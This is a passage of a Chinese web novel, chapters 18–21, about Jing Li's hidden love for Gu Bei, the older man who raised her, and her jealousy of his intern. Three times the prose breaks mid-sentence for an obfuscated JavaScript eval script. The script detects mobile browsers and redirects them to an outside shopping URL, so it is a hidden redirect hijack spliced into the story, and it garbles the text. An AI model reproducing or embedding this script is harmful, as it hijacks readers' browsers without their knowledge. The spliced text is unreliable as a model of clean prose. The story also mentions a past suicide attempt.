三十秒后,红灯结束,似乎也在暗示着他们之间关系的终止。 顾北果然没有回头。 荆梨也懂事地停了下来,哽咽哭出声。 这种伤心的情绪,很像妈妈离开她时的感觉。 小北哥哥果然和妈妈很像,都是说话不算数的人。 可是下一秒,荆梨发现自己的双脚陡然腾空,她下意识止住哭泣,对上顾北温柔的眼神。 他耷拉着眼懒懒地睨着她:“别哭了,刚刚跟你说的所有的难听话,都是骗你的。” 荆梨顿住,大眼睛里的疑惑不解转变为欣喜。 记忆的最后,少年还是选择了回头,托上她这个“包袱”,把自己无光的未来交到她的手里。 毕竟她画的画,太美好了。 美好到他想试一试,把那副画变成现实。 …… 世界确实是张大大的蜘蛛网,小飞虫始终逃不掉,如果结局注定是被蜘蛛吞噬,那他想做一只最硬最难啃的虫子,为那只小虫子多争取些自由快乐的时光。 18.叛逆期 Chapter 18 感受到滚落在脖颈皮肤上的眼泪,顾北的怒火被一瞬间浇灭。 他无声叹息,抬起右手轻轻拍打女孩的后背,像以往无数个她梦魇哭闹的夜晚,他把她圈进怀里,就这样哄着她入睡。 “我刚刚吼的那句‘没长眼’……不是在凶你。”顾北思绪顿了顿,有些笨拙地解释道,“我是被你吓到了。” 荆梨不吭声,也不动,脸就一直这么闷着,呼吸全都喷进男人的领子里,搂着他腰的胳膊又悄悄地紧了紧,一呼一吸间,她鼻子里就全是顾北身上的味道了。 就当她是在委屈吧,她现在也只敢借这种突如其来的“意外”来黏着他了。 其实有句话,在他今晚出现在派出所的时候,她就想告诉他了——你出差不在家的这些天,我特别,特别,特别的想你。 可她说不出口。 她明白,即便她真说出来了,顾北也会把这句话里蕴藏的情感归结到亲情那一类。 所以她更说不出口了。 于是在许多个这样“说不出口”的时刻的积累下,她在顾北眼中,便被动地步入了漫长到似乎没有尽头的青春叛逆期。 她在他面前的所有抗拒、作对、赌气、尴尬、沉默,都不再与别的情愫挂钩。 只是因为——孩子大了,有自己的想法了,不好管了。 荆梨情绪恹恹地皱起眉,她有时候甚至在想,如果当年她选择跟舅妈生活就好了。 那样的话,她就不是顾北的妹妹了。 可事实却是,哪怕重来一万次,七岁的她还是会义无反顾地跟上顾北的步伐。 雨越下越大,他们再在路口呆站着都得淋成落汤鸡。 顾北脱下外套罩在荆梨头上,揽着她的肩膀钻进停在不远处的轿车里。 关上车门,荆梨第一时间拽下头上的西装外套,粗鲁地团成一团想甩到后座,却被顾北先一步觉出意图,他低头边系安全带边沉声道:“老实盖着,就穿了件吊带在外面晃悠了一整晚,刚刚还淋了雨,巴不得自己生病是吧。” 荆梨撇撇嘴,十分不情愿地把西装展开盖在身上,动作间,腕上设计夸张的镯子手链碰撞出悦耳的脆响。 正打方向盘的顾北闻声下意识扫了眼自己右手无名指上的戒指。 这是今年他二十八岁生日那天,荆梨送他的礼物。 说是她亲手做的,费了好一番功夫,还特意选用了荆棘和星星这两个设计元素。 只见六芒星形状的戒托上缀着一颗白色锆石,锆石周围被一整圈荆棘环绕。 仿佛荆棘丛中唯一一朵纯白茉莉花。 他当时看见礼物的第一眼,脑子里冒出三个字:非主流。 他也没憋着,当着荆梨的面就把真实想法说了出来。 “那你别戴了,当我没送。”荆梨气鼓鼓地就要把戒指夺回来,“还给我。” 顾北躲开她的手,将戒指往食指上套,笑容很欠:“非主流就非主流吧,你哥气质好,戴什么都帅……” 话说到一半,戒指就这么卡在了突出的骨节上,滑不下去。 “尺寸不对啊小孩。”顾北将手举到荆梨面前,唇角轻扬,眼里含着挪揄的笑意,“送人礼物之前都不做做功课的么。” 荆梨耳根微微发烫,不服气地小声嘟囔道:“谁不做功课了,我特意趁你睡着溜进你房间量的……” “嘀嘀咕咕的说什么呢?” 顾北骤然倾身靠近,视线落在她的唇上。 彼此之间的安全距离被打破,男人成熟性感的轮廓和凌厉强烈的气场让荆梨的呼吸与心跳都停滞了一瞬。 荆梨怔愣在原地,因对方的“突袭”一时忘了后撤,就这么一眨不眨地四目相对。 灯光下,男人高挺的眉骨在眼窝投出淡淡的阴影,衬得那双似笑非笑的丹凤眼愈发深邃迷人,黑眸覆着一层温润内敛的光,认真凝望你时,似在无声地诉说心事,令人误会他对你或许也有情。 荆梨空咽了一口,不动声色地垂下眼,坐到沙发上,用叉子挖了块蛋糕上的奶油放进嘴里,语气随意:“你试试戴无名指呢,听说男的右手无名指戴戒指可以守财。” “你什么时候变的这么迷信了。”顾北失笑,但还是把戒指捋下来去套无名指,没想到竟然刚刚好。 “嚯,看来等我哪天结婚了,买婚戒都不用了量尺寸了,直接拿着这个戒指到店里。”顾北开玩笑道。 荆梨切蛋糕的动作猛地顿住,刀一偏,顶上的奶油全都塌了。 心头一阵烦闷,她索性甩了刀叉。 不吃了! 大雨渐渐演变成暴雨,急促的雨滴不间断地拍打车玻璃,发出霹雳吧啦的声响,车窗水流如股,给车外的世界添了层朦胧的遮罩,也将车内安静的氛围衬托的愈发沉闷。 荆梨头歪向车门那边,阖着眼,似是睡着了。 顾北看了她一眼,伸手把滑落在腰间的外套拉到她肩头。 下一秒,荆梨突然轻声开口:“易梓薇说她没有通知你。”她摆动脑袋,面无表情,漆黑的眼仁直直地望向他,“所以你是怎么知道我出了事,还被带到派出所的?” 顾北攥着方向盘的手指微不可察地紧了紧,他目视前方,神情毫无波动,平静道:“你还没来及的刷朋友圈吧,易梓薇那丫头发了好多你们今晚出来玩的照片,估计是忘记屏蔽我了。”他偏头懒懒地笑了笑:“她甚至还发了一大段人生第一次坐警车的感受,我想看不到都很难。” “……” 荆梨没吭声,盯着男人的侧颜,试图在他脸上捕捉到一丝丝、哪怕是及其微小的不自然。 可惜,顾北太镇定太无懈可击。 倒显得她的质问非常莫名其妙。 “哦,这样啊。” 片刻后,她收回视线,重新望向窗外,指尖轻划手机屏幕,表情若有所思。 半小时后,车辆稳稳停在小区地库。 荆梨下了车,全身好似被掏空了一般,又累又困又饿,脚步虚浮地走进电梯。 顾北紧随其后,上下扫了眼她那摇摇欲坠的清瘦身体,不由皱了皱眉。 他快走两步追上来,将西装搭在臂弯,另只手掌住她的腰,稍稍用力将人提溜到自己面前,手指微弯,温热的掌心隔着薄透的布料严丝合缝地贴在她腰侧的软肉上,手臂轻拢,呈半拥的姿态让她方便靠着他。 顾北偏低的嗓音自脑后压下来,语气沉冷,尾调勾着点责怪的不悦:“我不在这几天你在学校有按时吃饭吗?怎么看着又瘦了?” 荆梨后背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624046|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不小心抵上男人的胸膛,她不由缩了缩肩膀,有些狼狈。 对方身上滚热的气息源源不断地从背后渡过来,驱散了她身上的寒冷,也加速了她的心跳。 心口的紊乱导致她四肢有些发麻,荆梨攥了攥手指,抬头僵硬地盯着电梯不断上升的楼层数字,表情有点呆:“我在减肥。” 言外之意,确实没好好吃饭。 “再减人就瘦没了。”顾北松开她的腰,在她发顶揉了一把,接着又自然地握住她的肩膀,“等会儿你先洗澡,我去煮面,你吃完再睡,听见没有?” “……嗯。”荆梨哼了声,其实什么也没听进去,只觉得这趟电梯好漫长,身后的人像太阳一样炙烤着她。 他无心的举动宛若太阳的潮汐力,轻而易举就影响了她的磁场。 这种不由己,随时会失控的感觉,让她想要逃离。 电梯终于抵达顶层,电梯门刚打开一个够人通过的口子,荆梨便迫不及待地钻了出去。 怀里一瞬间变的空荡,顾北微愣,手滞在半空。 他拧眉看向女孩略带点落荒而逃意味的背影,眸光沉沉。 “你谁啊?” 刚踏出电梯,顾北便听见荆梨的声音从门口的方向传来。 他突然想起什么,快步走过去。 “你好,我是顾老师手底下的实习生辛恬。”辛恬伸出右手,“你就是顾老师的妹妹吧,我听他提过你。” 实习生? 荆梨没动,静静地打量起眼前笑容得体,举止大方的女生。 黑长直,瓜子脸,长相属于清纯那一挂,五官并不惊艳,但偏让人打眼就觉得她是个美人,对她心生好感。 一袭素净的白色长裙,将清瘦身材勾勒得柔美有致,活脱脱就是电视剧里校园女神的形象。 莫名的,荆梨盯着对方走了神。 她从前幻想过顾北会喜欢什么样的女生。 现在那个模糊的影子具象地站在了她面前。 “小恬,等很久了吧。” 玄关气氛正尴尬时,顾北走到荆梨身边,将发愣的她轻轻揽在身后,接着朝辛恬温和地笑了笑。 辛恬收回手,注意力被顾北吸引了过去,眼眸明亮:“没有顾老师,我也是刚到。” 说罢,她将手里厚实的文件袋递给他:“这是南舒艺术中心项目的所有材料,我都规整好了,最终设计稿我也发到了您的邮箱里,您请查收。” “谢谢,辛苦你了。”顾北接过,并未打开检查,这个刚来设计院不到一个月的硕士生做事认真又仔细,他没什么不放心的。 “您才辛苦,这么晚了还要从南舒赶回来盯进度。”辛恬腼腆地笑了笑,“那我先走了,您早点休息。” 顾北注意到她被雨打湿的肩头,迟疑了半秒,叫住她:“要不进屋喝杯热茶,等雨停了再走。” 辛恬犹豫的目光和男人身后的女孩短暂对上,她顿了顿,随即笑着拒绝道:“不麻烦了顾老师,我开车来的,您不用担心我。” 顾北点点头,没再坚持,转身送辛恬进电梯。 望着二人并行而立的背影,荆梨呼吸微涩,脑海中划过女生跟顾北说话时崇拜的眼神。 她靠着墙,瞳仁有些散,心头漫上一股说不清道不明的失落。 19.极光 Chapter 19 送走辛恬,顾北返回家门口,发现荆梨已经进屋了,还没给他留门。 自从这丫头学艺术之后,脾气是越来越古怪了,本就清奇的脑回路愈发叫人捉摸不透。 但也能理解,一般有天赋的小孩都特立独行,追求个性,热衷自我表达,只要她的思想和行为不跑偏,哪怕她把世界掀翻,他都能接受,给她兜底。 不过唯一一个令他感到伤心的点就是——荆梨好久都没叫过他“哥哥”了。 她现在叫他直接连名带姓——顾北。 好怀念以前那个会傻傻跟在他身后,乖乖喊他小北哥哥的跟屁虫啊。 现在完全从无条件依赖他的糯米团子进化成冷酷拽姐了。 时间真的很神奇,把人变成另一幅模样,又将人拉扯进回忆的漩涡,纠结于某些深刻的锚点,无法自拔。 思及此,顾北轻笑着摇了摇头,暗道自己还不到三十,竟也伤春悲秋起来了。 但紧接着他又不禁陷入沉思,发现荆梨不再喊他哥哥,好像就是从她高二被学校抓到早恋开始的。 那天他们在家爆发了史无前例的争吵,他第一次对荆梨那么凶,情绪上头的时刻他甚至说出“我本来也不是你亲哥,你的未来是好是坏跟我没关系!”这种混账话。 当时他吼完,荆梨便陡然噤了声,通红的杏眸怔怔地盯着他,泪水似断了线的珠子,接着就转身跑出了家门。 话落的瞬间他就后悔了,之后再也没敢提过这件事,因为他知道荆梨对于亲情和家人有多执着。 他欠荆梨一个道歉。 其实很多时候他也挺烦自己的,总是在不经意间用最残忍的方式戳伤荆梨的心,事后还不好好道歉,自以为是,自傲自大,下意识认定荆梨永远不会生他气,永远不会讨厌他。 他不是个称职的好哥哥。 所以报应来了,他家小孩再也不肯喊他哥哥了。 得,顾北就顾北吧,也比“喂”和“哎”要好,好歹还愿意理他。 他进了屋,关上大门,荆梨没开灯,落地窗外是城市繁华璀璨的夜景,倒也不显得屋里太过黑暗。 这套市中心的顶楼大平层,是顾北这些年打拼出来的成果。 虽然没有种满鲜花的花园,但足够大,大到装得下当年那两只无依无靠,只能互相取暖的流浪猫。 顾北高考考的非常好,首都那两所顶尖高校都向他抛出过橄榄枝,刘春迎也劝他去首都,说那里才能实现他的理想与抱负。 可惜他最后还是选择留在了梧城,念了梧大的建筑专业。 许多人为他扼腕叹息,说他明明可以有更好的未来。 可他根本就没有什么理想与抱负。 说实话在遇到荆梨之前,他满脑子想的都是搬出顾卫朝家,打工赚钱养活自己,念不念书都无所谓,浑浑噩噩过完这孤独的一生,死后上天堂和老爸老妈重聚。 他就是这么丧,这么毫无上进心。 直到荆梨给他打了那通电话。 玄关处散落着女孩随意踢掉的靴子,他弯腰将鞋子拿起来,和自己刚换下的皮鞋摆在一块。 男人目光沉沉地看着并排的两双鞋,黑眸氤氲着温柔的笑意。 一双大,一双小,幽幽光线下,摆在一块很有家的味道。 顾北忽然想起他收到梧大录取通知书的那天。 “顾北,你们没有血缘关系,你没必要为了她把自己的人生搭进去。” 看到学校名称的第一眼,刘春迎就明白了顾北的想法,他不愿意离开荆梨去往遥远的京州。 说实在的,她想不通,这两人连亲戚都算不上,只是父母辈有些交情,顾北何至于做到这份上。 “刘阿姨,有件事我从来没告诉过别人。”顾北沉吟了许久,才哑着嗓子说道,“其实当年荆梨给我打电话的时候,我已经走进湖里了,还差一点就能去见我爸妈了。” 刘春迎闻言猛地怔住。 “是她救了我。” “没有她,我的人生早就结束了。” 少年坦然一笑,眸中尽是坚定。 “就当是我还她的,我管她一辈子。” 既然没有家,那他就成为“造家”的人。 这些年来,他被业内冠以天才建筑设计师的名号,参与过大大小小数不清的项目,环境糟糕的工地他待过,国外的项目他也争取过,人人都说他拼,说他没追求,为了钱吃相难看,践踏了天才的光环。 所有的评价他都欣然接受,也大方承认他就是为了钱。 因为钱就是很重要。 没有钱,荆梨怎么培养爱好,怎么念市里最好的私立中学,怎么去各大高校组织的夏令营冬令营,怎么在世界观还没形成的时候就去看遍世界? 画笔和颜料很贵,大师课也很贵,提高眼界和审美更贵。 所以他得拼命赚钱,荆梨的未来才会阳光普照。 顾北将客厅的灯打开,抬手随意扯松领带,循着音乐声走到荆梨房门口。 家里最宽敞的主卧给她住了,因为里面有间硕大的衣帽间,但荆梨物欲极低,对名牌包包和服饰完全不感兴趣,衣帽间成了摆设,她便在里头搞了台老式黑胶唱片机,创作没灵感或者心情烦躁的时候就用它播放古典音乐。 一回来就听巴赫,这姑娘今晚心情这么糟。 卧房门半阖着,顾北倚靠在门边,屈指虚虚地扣了两下门板。 正坐在梳妆台前卸妆的荆梨闻声瞥了他一眼,没说话,继续对着镜子捣鼓。 顾北也没主动开口,默默地看着她用化妆棉慢条斯理的将浓厚眼妆一点点卸掉,女孩手法娴熟,被化妆品勾勒出锋利成熟的五官逐渐显现出白净稚嫩的本真。 顾北不由有些恍惚。 她都已经长这么大了么。 “今天的这个妆,很漂亮。” 巴赫g大调前奏曲的悠扬曲调中,男人低沉又带着点沙哑的嗓音响起,像是曲子里的一部分,好听到波动心弦。 荆梨动作顿住,她诧异地偏过头,对上男人认真的目光。 顾北唇角微勾,低柔的灯光下他的五官成熟立体,狭长的凤眼有些疲惫地下耷着,淡淡的泪沟为那张好看的脸增添了几分无言的性感与慵懒。 他此刻的神情无比温柔,似融化的雪山,带着春日的和煦与包容,不带审视与批判,像在看一件他无比欣赏的宝物。 心跳就这么颤抖着停了一拍。 荆梨一瞬间还以为自己产生了幻听,失神地盯着他。 顾北却不再继续这个话题,低声道:“我去给你煮面,你好好洗个热水澡,去去今天的晦气。” 说罢,转身从她的视线里离开,朝厨房的方向走去。 望着空荡荡的门口,荆梨眼睫无措地颤动,她抬眸望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644074|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向镜子里的自己,脸颊和耳朵红成了一片,连肿起来的那一边都更红了几分。 她后知后觉地感到羞赧,呼了口气,抬手捂住自己的脸。 磨磨蹭蹭地洗完澡,荆梨换上睡衣睡裤,顶着包起来的湿头发,坐到餐桌前。 顾北还在厨房里忙活,他腰上系着围裙,衬衫袖口捋到了手肘上方,露出青筋脉络清晰的小臂,肩宽窄腰,身材挺拔,额发被他尽数撩了上去,露出凌厉浓烈的眉眼,一举一动间莫名有种禁欲人夫的意味。 荆梨看的入了迷,桌上放着一杯柚子茶,她想也没想就端起来喝了一口,结果舌尖不出所料的被烫到了,她表情骤变,赶紧跑进厨房拿了块冰含进嘴里。 “怎么了?”顾北举着锅铲转过身,语气担心道。 荆梨捂着嘴巴,一脸控诉地指了指餐桌。 顾北“哦”了声,眼尾微挑:“我刚泡的,热着呢,被烫到啦?” “多大人了,怎么这么不小心呢。” 刚洗完澡的小姑娘脸颊红红的,头上包的跟棉花糖一样,模样实在可爱,他忍不住想逗。 瞧他那幸灾乐祸的样儿。 荆梨不由忿忿地横了他一眼。 还不是因为你! 顾北弯了弯唇,他收起玩笑的姿态,放下锅铲,单手撑着岛台,另只手捏住她的下巴,轻轻上抬,目光落向她的唇瓣:“很疼吗?张嘴我看看。” 荆梨浑身一僵,怔怔地看着他,忘了反应。 “忘了你还含着冰块。”顾北松开她,掌心向上搁在她唇前,轻声哄道,“吐出来,我看看嘴里,别烫起泡了。” 荆梨心尖一颤,盯着他,思绪都迟钝了,只能听他的,慢慢张开嘴,把融化一半的冰块吐在男人手上。 这一刻,时间的尺度好似被拉长,空气停止循环,变的粘稠,导致她连呼吸都小心翼翼。 这些亲昵的举动对年龄相差十岁的兄妹来说稀松平常。 可恰恰在荆梨心里,这些比拥抱都要难捱。 接受顾北的关心与亲近,时常令她陷入某种负罪感当中。 因为他俩的想法与初衷是错位的。 荆梨呆滞地微张着嘴,顾北仔细瞧了瞧,接着松了口气:“没事,没有烫伤。”他自然地揉了揉她的耳垂,“下次注意着点。” 话落,他转身继续候在炉子前。 荆梨垂下眼,没吭声,轻轻地抿了抿唇。 “那位辛恬小姐,说听你提起过我。”安静了几秒,荆梨突然开口,手指微蜷,“你都跟她说我什么了?” 正好面条也熟了,番茄鸡蛋的独特香气充斥整间厨房。 顾北将炉子熄灭,边盛面边语气随意道:“没说你什么,她叫我开会的时候看到我办公桌上摆着的照片了。” “她问我上头哭丧着脸的小孩是谁。” “还记得吗,我们六年前在挪威看到了北极光,我要帮你拍照留念,你死活不肯,最后还是我抱着你拍了一张。”顾北扭头哂笑出声,“那年你十一岁,胆子小的不行,非说绿色的极光像吃人的妖怪。” 荆梨愣在原地,鼻尖连着大脑,莫名酸胀, 她已经忘了的细节,顾北却记得清清楚楚。 她时常会问自己。 为什么对他的感情变了质。 其实答案很简单。 顾北这样的人,不管是谁,都不会不爱他。 20.喜欢 Chapter 20 番茄鸡蛋面是顾北最拿得出手的食物。 当年他决定带走荆梨之后,便从顾卫朝家搬了出去。 刘春迎帮他们租了个小单间,还帮荆梨加在了她的户口上,解决了女孩上学的难题。 他没有接受刘春迎的资助,而是选择一边读书,一边兼职赚钱,压榨自己的每一分每一秒,每天都到半夜才回家。 荆梨是个很乖很好养活的孩子,她不挑食,顾北做什么就吃什么,哪怕他只会做番茄鸡蛋面,她也会说她只爱吃番茄鸡蛋面。 她虽然害怕一个人睡觉,害怕出租屋嘈杂的夜晚,但她不哭也不闹,抱着顾北给她买的玩偶,等他回家。 那是个具有录音功能的小熊玩偶,一按肚子就会响。 顾北给她录的是——“小梨乖,哥哥在呢。” 她像护眼珠子一般珍惜那个玩偶。 记得有一次,玩偶怎么按都不出声,荆梨急得梦魇发烧。 晚上顾北兼职结束回到家,发现她双眼紧闭浑身滚烫,连忙背起她向医院跑去。 那晚他守在女孩身边,寸步不离。 给小熊玩偶换了新电池,他的声音再次从玩偶的肚子里响起,顾北也在那时深刻地感受到,荆梨对他的依赖。 但这算好事吗? 顾北不知道。 十七岁的他唯一能确定的,就是只要他还活着,小熊玩偶就不会再停止。 那句录音就永远算数。 当然,他从顾卫朝家离开也费了番功夫。 起初那夫妻俩死也不同意他走。 白吃白喝他们那么多年,传说中的赔偿金还没看到影呢,他们怎么可能放走这条大鱼。 为了逼顾北回来,他们使了各种手段,最后甚至闹到他学校,大肆宣扬他是个忘恩负义的白眼狼,造谣他偷家里的钱出去挥霍,还打伤了表哥。 学校领导勒令他立刻回家解决问题,不然就停课劝退。 看着那两张得意忘形的丑恶嘴脸,顾北恨不得和他们同归于尽。 可是现在的他已经失去孤掷一注的权利了。 他有了牵绊,他不光得为自己活,还得为荆梨活下去。 在夫妻俩的威逼下,顾北不得不签下一份欠条。 欠的是他们口中的“养育之恩”。 总共五十万,两年内还清。 或许是怕被人戳脊梁骨,他们没敢狮子大开口将那一百万全吞了,装出一副大度吃亏的模样,假模假式地劝他从今以后好自为之。 顾北签下名字的那一刻,心里就有了打算。 先不说爸妈的死亡赔偿款到底有没有那么多钱,哪怕有,他一分也不会给那对夫妻。 这些年,在那个家里过的什么样的日子他清清楚楚,也记着身上被他们虐待出的每一个伤痕,以及他这条腿。 爸妈用死亡换来的钱,那三个魔鬼不配拿。 万幸的是,在顾北高考后的那个夏天,他刚过完十八岁的生日,他的银行卡里真的出现了一笔一百万的打款。 看到短信的那个瞬间,顾北兀地红了眼眶。 他觉得讽刺,也觉得悲哀。 两条人命,一百万…… 人命值钱又不值钱。 但足以让活着的人变成鬼。 他没有给顾卫朝打钱,在对方找上门的时候,他直接报了警,将顾卫朝他们告上了法庭。 人生中第一次上公堂,是和自己的大伯。 由于他签欠条时还未成年,又是在遭受胁迫的状态下签名的,不具有法律效力,最后法官只让他给顾卫朝两万的补偿费就可以了。 顾卫朝和潘文丽当然不服判决,但这次,不管他们怎么闹怎么折腾,都没用了。 那一百万像场及时雨,也像老爸老妈从天堂伸来的,抚摸少年发顶的手。 他们似在用这种方式安慰他——这么久以来,你做的非常好,辛苦了。 顾北给荆梨换了更好的居住环境,他每天也不用那么晚回来了。 大三的时候,他用攒的钱成立了自己的工作室,抢着干别人看不上的活儿,直到硕士毕业那年,他参与设计的美术馆在国际上获了奖,他的名号也随之打了出去。 他越来越忙,钱越赚越多,与此同时,他也错过了荆梨成长道路上许多重要的时刻。 直到早恋事件的发生。 顾北意识到自己该停一停了。 他接受教授抛出的橄榄枝,进入了设计研究院。 稳定的工作让他能分出更多的时间和精力陪荆梨备战高考。 荆梨很有出息,艺考考得十分出色。 联考省十,国内排名前几的美术院校她都拿到了小圈证。 填志愿的时候女孩没跟他商量,等时间截止了,她才告知她第一志愿填了梧城艺术学院的服设系。 顾北体会到了刘春迎当年的感受。 明明能有更好的未来,她却偏偏选择了留下。 或许他们从骨子里就是一类人。 - 荆梨挑起一小筷面条,吹了吹,小心翼翼地放进嘴里。 她吃相秀气,又是小鸟胃,所以一直很瘦。 顾北坐在她对面,面容沉静地对着电脑处理工作上的事情,眉头时不时轻蹙,周身散发出不怒自威的磁场。 餐厅的灯光男人特意选的暖黄色,显得温馨,有家的感觉。 灯光照得女孩整个人都软乎乎的,咀嚼的时候会不自觉晃两下脑袋,仿佛吃的是世上最美味的东西,情绪价值拉满。 顾北抬眸时捕捉到她摇头晃脑的可爱模样,唇角不禁上扬,身上的严肃感瞬间被打破。 “好吃吗?”他明知故问。 荆梨语气傲娇:“一般。” 顾北哧了声:“一般你还吃这么多年。” 荆梨轻顿,淡淡道:“没办法,就好这口。” 顾北挑挑眉,不置可否,将视线重新放到电脑屏幕上。 荆梨舔了舔唇,注意到男人的手机就搁在电脑旁边。 那个被她压下的念头又冒了出来。 她快速吃完最后一口面,掏出上衣口袋里的手机,打开“今夜”,点进和433的聊天界面。 433在半小时前给她发了一句:【怎么样?处理完了吗?】 她瞥向顾北,确认他注意力不在自己身上,于是低头打字回复:【处理完了,我已经到家了。】 按下发送键的瞬间,她抬头紧张地望向顾北的手机。 下一秒,原本黑屏的手机忽然亮起。 荆梨心跳一滞,视线难以置信地移到男人身上。 433……真的是顾北么…… 不等她反应过来,顾北抓起手机,面容解锁后看完消息,接着手指轻点屏幕,似在打字。 荆梨一眨不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660902|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眨地盯着他的动作,呼吸都忘了,直到他点击发送,她立刻低头看向自己的手机。 毫无动静。 433没有回复…… 顾北发完信息就将手机反扣在桌面上。 荆梨皱了皱眉,难道她猜错了? “谁这么晚了还给你发信息啊?”她吞咽了一口,强压过速的心跳,语气平淡,听不出情绪。 顾北没空看她,手指在键盘上敲打:“辛恬。” 听到这个名字,荆梨喉头一梗,思绪顿时被拉到另一种莫名的氛围当中。 她没什么精神地“哦”了声,懒洋洋的开始玩手机,二人之间气氛一时陷入沉默。 顾北淡淡地扫了她一眼,忽然道:“她向我确认一个数据而已。” 荆梨闻言一愣。 他在跟她解释吗? 蓦然,女孩的嘴角隐秘地翘了下,像只被挠了下巴的小猫,一秒顺毛。 “跟我解释什么,我又不好奇。” 顾北眼尾含笑,歪着脖子看她:“是么,那算我自作多情了。” 荆梨:“……” 老说些勾人胡思乱想的话。 空气又安静下来,荆梨把碗底的汤也喝了个干净,她拽了张纸擦嘴,目光黏在男人身上,迟迟没有起身离开。 “有话要说?” 察觉她犹犹豫豫的状态,顾北合上笔记本,手肘撑着桌面,眼底浮出积累多天的疲惫,但还是耐心地主动开口。 荆梨低睫错开交叉的视线,讷讷开口:“辛恬小姐这个人,你觉得怎么样?” “什么怎么样?”顾北一愣,眉头倏地皱紧。 这丫头憋了半天,结果是想问他一个陌生人怎么样?! 荆梨拔高音量,掩饰自己的情绪:“就是你对她是种什么感觉啦!” 顾北不明白她到底什么意思,想了想,迟疑道:“做事认真,性格不错,挺虚心的,人缘也好。”他顿了顿,面露不解,“你问这个干嘛?” 他其实概括的很笼统,一般到设计院实习的小年轻差不多都是这个形象。 但落在荆梨耳中却被她琢磨出另一番意味——顾北对这个女生很关注。 如果是没有兴趣的异性,怎么会注意到对方的性格和人际交往呢。 荆梨面色些微苍白,她空咽了一口,双眼无神地望向他,嗓音沙哑道:“你喜欢她?” 顾北顿感荒唐,手伸过去点了下她的脑门,语气无奈:“你脑子里整天都在想什么呢?” 荆梨撇过脸,捂着脑门诽腹:想你呗。 顾北耐着性子说:“人家是新来的实习生,到我手底下学东西,在我眼里就一小孩,我对她不会、也不可能有感觉。” “可你不就喜欢她那个风格的女生吗!”荆梨倔劲上来了。 顾北气笑了,身子前倾凑到她面前:“谁告诉你我喜欢那样的?” 荆梨被问住了,张着嘴好一会儿都说不出话。 顾北叹了口气,站起身居高临下地睨着她,眼眸漆黑深邃,无形的压迫感袭来。 “我看你巴不得我给你找个嫂子回来,这样我就没功夫管你了是吧。” “想得美。” 他拿上笔记本和手机,转身朝卧房走去,撂下这三个字,声线冷淡无波。 独坐在桌前的荆梨一动不动,仿佛僧人入定。 耳边盘旋着顾北那句:我对小孩没感觉。 21.马甲 Chapter 21 荆梨把碗洗干净,关掉餐厅的灯,路过顾北的房间时,她脚步顿住,目光不由自主地透过他没关严的门缝,看到男人坐在桌前,拧眉工作的模样。 他把衬衫换了下来,套了件宽松的长袖,从侧面看他颈上突出的喉结起伏如山脉,随着他的吞咽而微微滑动,锁骨嶙峋而高耸,稍低头时后颈棘突明显,有种独属于成熟男人的性感。 荆梨静静地凝视着他,眼里毫无半点狎昵与亵玩,只有深邃到无尽的认真与着迷。 她的视线从顾北高挺的眉弓滑到凹陷的眼窝最后落在他轻抿的薄唇,心脏怦然不息。 自她开始系统学习美术之后,她才后知后觉地意识到,顾北不光拥有精致的皮相,他的骨相也是顶级的。 从来画皮难画骨,美人在骨不在皮。 那张脸,不管如何描摹,如何细致勾勒,都难以将他的神韵十分的展现出来。 她画过许多张形态各异的他,却没有一张令她满意的。 最难画的便是那双眼。 她从未真正得到过他满含爱意的眼神,她只能靠想象去画他的眼睛。 可想象的终究是假的。 他那双眼睛需要放下的东西太多了,柴米油盐、山川林海、银河宇宙,他的世界是那样的大,那样的宽广,她只占了其中小小的一个角落,有幸与他同行了一段路。 未来的他们必定要各自安好,奔向各自的未来。 就像顾北说的,一旦那个“嫂子”出现,他就没工夫管她了。 她爱他,就像在服一场随时会被抛弃的酷刑。 荆梨淡淡收回目光,难掩面上失魂落魄的神色,默默回到房间。 就要关灯上床时,她注意到了梳妆台上的东西。 她走过去,拿起不知何时出现的药膏,思绪轻顿。 药膏下面压了张便签,和人一样漂亮的字迹落于纸面。 【别忘了涂完药膏再睡。】 荆梨面无表情地摸了摸自己破裂的下唇,眼眶微微湿热,她用力眨了下眼,挤出米粒大小的药膏慢吞吞地涂在裂口处。 顾北的世界也很小,小到他任何令人心动的举动都逃不过她的眼睛。 但他俩的信号注定无法同频。 - 荆梨握着手机即将入睡时,433的回复姗姗来迟。 【没事就好,把今天遇到的糟心事忘掉,什么都别想,睡个好觉。】 【晚安。】 手机的震动将荆梨散远的思绪收拢,她眯着惺忪的眼看完433的消息,回复道:【你才结束工作吗?】 433隔了几秒,回:【刚应酬完,正准备回家。】 应酬? 意思是他刚才在和客户或者其他什么人喝酒吃饭么。 